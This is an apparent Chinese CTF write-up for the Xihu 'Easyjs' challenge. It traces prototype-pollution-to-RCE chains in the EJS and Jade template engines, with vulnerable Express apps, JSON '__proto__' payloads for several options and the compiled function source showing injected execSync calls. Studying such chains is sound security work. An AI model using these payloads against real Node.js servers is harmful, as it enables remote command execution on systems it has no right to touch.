从西湖Easyjs讨论nodejs引擎RCE

西湖初赛Easyjs的题目这次将常规的两种outputFunctionName和escapeFunction都ban掉了,之前也没有很关注这一个点,比赛的时候想在网上找到别的字段进行污染的绕过方式,但是资料不是很多,也没有找到,于是索性自己又回炉重造,调试了一下,顺便把其他两种原型链污染的点补充上。

Ejs模板调试分析

EJS模板引擎是通过render函数调用ejs.js来进行模板渲染,所以我们将断点打在render处,先来看一下整个的一个污染调用链是如何调用的:

index.js

var express = require('express');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
//对原型进行污染
var malicious_payload = '{' +
    '"__proto__":{'+
    '"localsName":"a=process.mainModule.require(\'child_process\').exec(\'calc\');/*"' +
    '   }' +
    '}';
merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("index.ejs",{
        message: 'Ic4_F1ame'
    });
});

//设置http
var server = app.listen(8000, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

index.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>
  • 通过render断点我们跟进到response.js模块

  • 在response.js中的app.render模块我们可以看到opts参数中,有我们传入的outputFuntionName,我们继续跟进,找到能调用outputFunctionName的地方:

  • 在applicattion当中我们找到tryRender模块以后,这里也是来调用ejs模块来进行渲染,跟进tryRender,然后在tryRender中跟进view.render方法

  • 在view.render中,我们就发现了engine引擎这个关键字,然后进入this.engine里面,就最终进入到了ejs.js的模块当中,调用ejs.js的入口函数renderFile,在renderFile中return tryHandleCache,我们跟进tryHandleCache函数:

  • 然后跟进到handleCache函数中:

  • 在handleCache模块当中我们看到exports.compile模块,可以看到我们要渲染的index.ejs被渲染到compile函数当中,跟进compile函数,函数在最后renturn templ.compile():

  • 然后我们就进入到了模板引擎调用的部分,下面就找一下分别都有哪些可以进行调用:
function Template(text, opts) {
  opts = opts || {};
  var options = {};
  this.templateText = text;
  /** @type {string | null} */
  this.mode = null;
  this.truncate = false;
  this.currentLine = 1;
  this.source = '';
  options.client = opts.client || false;
  options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
  options.compileDebug = opts.compileDebug !== false;
  options.debug = !!opts.debug;
  options.filename = opts.filename;
  options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
  options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
  options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
  options.strict = opts.strict || false;
  options.context = opts.context;
  options.cache = opts.cache || false;
  options.rmWhitespace = opts.rmWhitespace;
  options.root = opts.root;
  options.includer = opts.includer;
  options.outputFunctionName = opts.outputFunctionName;
  options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
  options.views = opts.views;
  options.async = opts.async;
  options.destructuredLocals = opts.destructuredLocals;
  options.legacyInclude = typeof opts.legacyInclude != 'undefined' ? !!opts.legacyInclude : true;

function函数构造器:

  • 从原型的角度上来讲,在nodejs中,每一个函数其实都是对应的Function的对象,我们通过(function(){}).constructor === Function可以看出,这样看的话,其实和php的createFunction比较相似,keyvalue是函数名,a是要传入的参数,console.log(1+a+this.values)是函数的内容。
var key = {
    values:2
}
var keyvalue = new Function("a", "console.log(1+a+this.values)");
keyvalue.apply(key,[4])

  • 我们可以看到在ejs.js当中存在这样的代码,当ctor为Function的时候,src其实就是函数的内容,我们只要将恶意代码写入函数当中我们就能够在fn.apply的时候进行调用触发,所以我们要跟进一下src的值:
try {
      if (opts.async) {
        try {
          ctor = (new Function('return (async function(){}).constructor;'))();
        }
        ......
      }
      else {
        ctor = Function;
      }
      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    }
   var returnedFn = opts.client ? fn : function anonymous(data) {
      ......
      return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
    };
  • 我们可以看到src来源于source,然后source来源于prepened,以及appended,所以我们下一步要找的目标就是如何去控制prepened

第一处:outputFuncitonName字段RCE

  • 这里我们能够看到prepended内容可以由outputFunctionName来控制可以看到这里再一次调用了我们污染过的outputFunctionName,然后将其拼接到字符串当中,我们就可以对他进行一个命令拼接
if (!this.source) {
      ......
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      ......
      }
{
    "__proto__":{
    "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2"
    }
}
  • 可以看到调试中对outputFunctionName进行拼接以后得到prepended结果,可以看到我们的命令执行代码成功插入到里面:
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
var _tmp1;
global.process.mainModule.require('child_process').execSync('calc');
var __tmp2 = __append;

第二处:destructuredLocals字段RCE

  • 可以看到prepended += destructuring + ';\n';进行了控制,所以这里我们就可以通过控制destructuring->控制name->控制opts.destructuredLocals[i]来进行控制,这里opts.destructuredLocals是数组的形式,所以我们需要传入一个污染后的数组,能让opts.destructuredLocals[0]顺利的赋值给name我们就能够进行污染
if (opts.destructuredLocals && opts.destructuredLocals.length) {
  var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
  for (var i = 0; i < opts.destructuredLocals.length; i++) {
    var name = opts.destructuredLocals[i];
    if (i > 0) {
      destructuring += ',\n  ';
    }
    destructuring += name + ' = __locals.' + name;
  }
  prepended += destructuring + ';\n';
}
{
    "__proto__":{
    "destructuredLocals":[
        "a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2"
    ]
    }
}
  • 可以看到这里我们通过a=a;进行上面pretended+=的闭合,然后也成功注入了我们的恶意代码
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
var __locals = (locals || {}),
a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2 = __locals.a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2;

在后面fn函数进行new Function定义的时候,src的值中就存在我们插入的恶意代码

var __line = 1
  , __lines = "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset=\"utf-8\">\r\n    <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1><%= message%></h1>\r\n\r\n</body>\r\n</html>"
  , __filename = "D:\\webnode\\CTF复现\\111\\index.ejs";
try {
  var __output = "";
  function __append(s) { if (s !== undefined && s !== null) __output += s }
  var __locals = (locals || {}),
a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2 = __locals.a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2;
  with (locals || {}) {
    ; __append("<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset=\"utf-8\">\r\n    <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1>")
    ; __line = 9
    ; __append(escapeFn( message))
    ; __append("</h1>\r\n\r\n</body>\r\n</html>")
    ; __line = 12
  }
  return __output;
} catch (e) {
  rethrow(e, __lines, __filename, __line, escapeFn);
}

第三处:localsName字段RCE

在localsName字段处,也是对prepended进行了拼接,所以这里也是可以存在对应的恶意代码拼接的

if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }

但是这里存在一个问题是:在后面new Function的时候,localsName被作为参数在function的第一个形参处进行了拼接:

fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

所以这里我们如果想通过闭合with然后单独列出我们的恶意代码就存在一些问题了,因为闭合with难免在后面拼接的时候,with前面自带的(无法闭合,导致抛出异常,所以这里我们就在with当中直接执行我们的恶意代码:

1、 这里表示如果执行localsName没有返回报错结果或者是undefined&null,就取localsName的作为返回结果

with (localsName || {}){}

2、 这里将localsName, escapeFn, include, rethrow作为参数下一步传入src当中,因为我们在上文的src中也已经看到,存在escapeFn,rethrow,locals(localsName默认值)等在src中的调用。

fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

综合两点来进行考虑,我们可以将localsName附成一个值来进行执行,在with函数进行拼接的时候将localsName的值拼接进去,在后面构造函数的时候,作为参数传入src当中进行恶意代码的注入,在调用with的时候来触发恶意代码,也确保了我们不会出现因为闭合而出现报错的问题:

{
    "__proto__":{
        "localsName":"x=global.process.mainModule.require('child_process').execSync('calc')"
    }
}

此时prepended将我们的恶意代码作为键值对插入到了with当中:

var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
with (x=global.process.mainModule.require('child_process').execSync('calc') || {}) {

在调用到fn的时候我们就可以发现我们注入的键值对被当作参数来进行使用,也为后续src中出现我们参数的时候能够执行代码打下了基础。

整个src的值最后通过with执行x=global.process.mainModule.require('child_process').execSync('calc')的时候调用function函数传入的x=global.process.mainModule.require('child_process').execSync('calc'),将x=的部分执行以后返回结果赋值给x,这时候我们就能够进行RCE的操作了。

var __line = 1
  , __lines = "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset=\"utf-8\">\r\n    <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1><%= message%></h1>\r\n\r\n</body>\r\n</html>"
  , __filename = "D:\\webnode\\CTF复现\\111\\index.ejs";
try {
  var __output = "";
  function __append(s) { if (s !== undefined && s !== null) __output += s }
  with (x=global.process.mainModule.require('child_process').execSync('calc') || {}) {
    ; __append("<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset=\"utf-8\">\r\n    <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1>")
    ; __line = 9
    ; __append(escapeFn( message))
    ; __append("</h1>\r\n\r\n</body>\r\n</html>")
    ; __line = 12
  }
  return __output;
} catch (e) {
  rethrow(e, __lines, __filename, __line, escapeFn);
}

//# sourceURL=D:\webnode\CTF复现\111\index.ejs

第四处:escapeFunction字段RCE

这里是通过escapeFn,直接拼接入src的,所以这里也可以进行拼接,我们控制client和escapeFunction,从而进行拼接

if (opts.client) {
  src = 'escxapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}
{
    "__proto__":{
        "client":1,
        "escapeFunction":"escapeFn;global.process.mainModule.require('child_process').execSync('calc')"
    }
}

然后可以看到src中的值里面成功注入了我们的恶意代码:

escxapeFn = escapeFn || escapeFn;global.process.mainModule.require('child_process').execSync('calc');
var __line = 1
  , __lines = "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset=\"utf-8\">\r\n    <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1><%= message%></h1>\r\n\r\n</body>\r\n</html>"
  , __filename = "D:\\webnode\\CTF复现\\111\\index.ejs";
try {
  var __output = "";
  function __append(s) { if (s !== undefined && s !== null) __output += s }
  with (locals || {}) {
    ; __append("<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset=\"utf-8\">\r\n    <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1>")
    ; __line = 9
    ; __append(escapeFn( message))
    ; __append("</h1>\r\n\r\n</body>\r\n</html>")
    ; __line = 12
  }
  return __output;
} catch (e) {
  rethrow(e, __lines, __filename, __line, escapeFn);
}

第五处:escape字段RCE

和escapeFuntion是一样的地方:

options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

这里就直接给出payload:

{
    "__proto__":{
        "client":1,
        "escape":"escapeFn;global.process.mainModule.require('child_process').execSync('calc')"
    }
}

第六处: delimiter字段

delimiter字段下存在这里对source的拼接,但是因为存在switch的一个验证,line是写死的内容如果要想进入case的话,需要我们构造的delimiter字段和line进行匹配才能够进入source拼接,暂时还没有想到可控的方式

options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;

scanLine: function (line) {
    var d = this.opts.delimiter;
    var o = this.opts.openDelimiter;
    var c = this.opts.closeDelimiter;

    newLineCount = (line.split('\n').length - 1);

    switch (line) {
    ......
    case o + d + d:
      this.mode = Template.modes.LITERAL;
      this.source += '    ; __append("' + line.replace(o + d + d, o + d) + '")' + '\n';
      break;
    case d + d + c:
      this.mode = Template.modes.LITERAL;
      this.source += '    ; __append("' + line.replace(d + d + c, d + c) + '")' + '\n';
      break;

jade模板引擎注入RCE:

index.js

const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');


const app =  express();
var router = express.Router();

app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));


app.get('/',function (req, res) {
    res.send('Hello World');
})

app.post('/post',function (req, res) {
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
//对原型进行污染
    var malicious_payload = '{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').execSync(\'calc\')"}}';
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    merge(a, JSON.parse(malicious_payload));
    console.log(a.name);
    res.render('index.jade', {
        title: 'HTML',
        name: a.name || ''
    });
})
app.listen(8000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))

index.jade:

doctype html
html
    head
        meta(charset="utf-8")
        title Example App
    body
        h1= message

调试过程,同样我们在render处下断点,前面的调用链是一样的:

render->app.render->tryRender->view.render->this.engine

exports.__express:

  • 调用到模板的入口exports.__express,然后调用exports.renderFile(),此函数return handleTemplateCache(options)(options);
  • compileDebug这里可以污染成true,这样我们就可以开启debug模式
exports.__express = function (path, options, fn) {
  if (options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
    options.compileDebug = false;
  }
  exports.renderFile(path, options, fn);
}

exports.compile:

  • 然后调用到exports.compile函数:

  • 在exports.compile中存在这样的代码,可以看到fn = new Function('locals, jade', fn),而fn又是由parsed.body控制的,所以我们跟进到parse(str,option)中:
exports.compile = function(str, options){
  var options = options || {}
    , filename = options.filename
      ? utils.stringify(options.filename)
      : 'undefined'
    , fn;

  str = String(str);

  var parsed = parse(str, options);
  if (options.compileDebug !== false) {
    fn = [
        'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
      , 'try {'
      , parsed.body
      , '} catch (err) {'
      , '  jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
      , '}'
    ].join('\n');
  } else {
    fn = parsed.body;
  }
  fn = new Function('locals, jade', fn)

parse:

  • 我们跟进到parse可以看到parse最后返回的值就是body,然后我们来看body,可以看到body是由js控制进行拼接的,所以我们需要对js进行跟进,因此跟进到compile.compile(),这里options.self会进行一个判断如果为真返回var self = locals || {};\n' + js,所以我们这里污染self为1
function parse(str, options){
      ......
  var parser = new (options.parser || Parser)(str, options.filename, options);
  var tokens;
  try {
    // Parse
    tokens = parser.parse();
  } ......
  // Compile
  var compiler = new (options.compiler || Compiler)(tokens, options);
  var js;
  try {
    js = compiler.compile();
  } 
    ......

  // Debug compiler
  ......
  var globals = [];

  if (options.globals) {
    globals = options.globals.slice();
  }
  globals.push('jade');
  globals.push('jade_mixins');
  globals.push('jade_interp');
  globals.push('jade_debug');
  globals.push('buf');

  var body = ''
    + 'var buf = [];\n'
    + 'var jade_mixins = {};\n'
    + 'var jade_interp;\n'
    + (options.self ? 'var self = locals || {};\n' + js : addWith('locals || {}', '\n' + js, globals)) + ';'
    + 'return buf.join("");';
  return {body: body, dependencies: parser.dependencies};
}

跟进compiler.compile():

跟进visit:

然后在visit当中我们发现了拼接的地方,将我们的line拼接进去:

visit: function(node){
    var debug = this.debug;

    if (debug) {
      this.buf.push('jade_debug.unshift(new jade.DebugItem( ' + node.line
        + ', ' + (node.filename
          ? utils.stringify(node.filename)
          : 'jade_debug[0].filename')
        + ' ));');
    }

最后我们看到fn的内容是,可以看到插入了我们line要污染的值:

var jade_debug = [ new jade.DebugItem( 1, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ) ];
try {
var buf = [];
var jade_mixins = {};
var jade_interp;
var self = locals || {};
jade_debug.unshift(new jade.DebugItem( 0, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
jade_debug.unshift(new jade.DebugItem( 1, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<!DOCTYPE html>");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 2, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<html>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 3, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<head>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 4, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<meta" + (jade.attr("charset", "utf-8", true, true)) + ">");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 5, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<title>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 5, jade_debug[0].filename ));
buf.push("Example App");
jade_debug.shift();
jade_debug.shift();
buf.push("</title>");
jade_debug.shift();
jade_debug.shift();
buf.push("</head>");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 6, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<body>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 7, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<h1>" + (jade.escape(null == (jade_interp = message) ? "" : jade_interp)));
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.shift();
buf.push("</h1>");
jade_debug.shift();
jade_debug.shift();
buf.push("</body>");
jade_debug.shift();
jade_debug.shift();
buf.push("</html>");
jade_debug.shift();
jade_debug.shift();;return buf.join("");
} catch (err) {
  jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno);
}var jade_debug = [ new jade.DebugItem( 1, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ) ];
try {
var buf = [];
var jade_mixins = {};
var jade_interp;
var self = locals || {};
jade_debug.unshift(new jade.DebugItem( 0, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
jade_debug.unshift(new jade.DebugItem( 1, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<!DOCTYPE html>");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 2, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<html>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 3, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<head>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 4, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<meta" + (jade.attr("charset", "utf-8", true, true)) + ">");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 5, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<title>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 5, jade_debug[0].filename ));
buf.push("Example App");
jade_debug.shift();
jade_debug.shift();
buf.push("</title>");
jade_debug.shift();
jade_debug.shift();
buf.push("</head>");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 6, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<body>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 7, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<h1>" + (jade.escape(null == (jade_interp = message) ? "" : jade_interp)));
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.shift();
buf.push("</h1>");
jade_debug.shift();
jade_debug.shift();
buf.push("</body>");
jade_debug.shift();
jade_debug.shift();
buf.push("</html>");
jade_debug.shift();
jade_debug.shift();;return buf.join("");
} catch (err) {
  jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno);
}

在renderFile中,调用handleTemplateCache函数

然后在里面调用了fn(locals,Object.create(runtime))从而触发fn函数,然后执行了我们的恶意代码,从而造成RCE

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖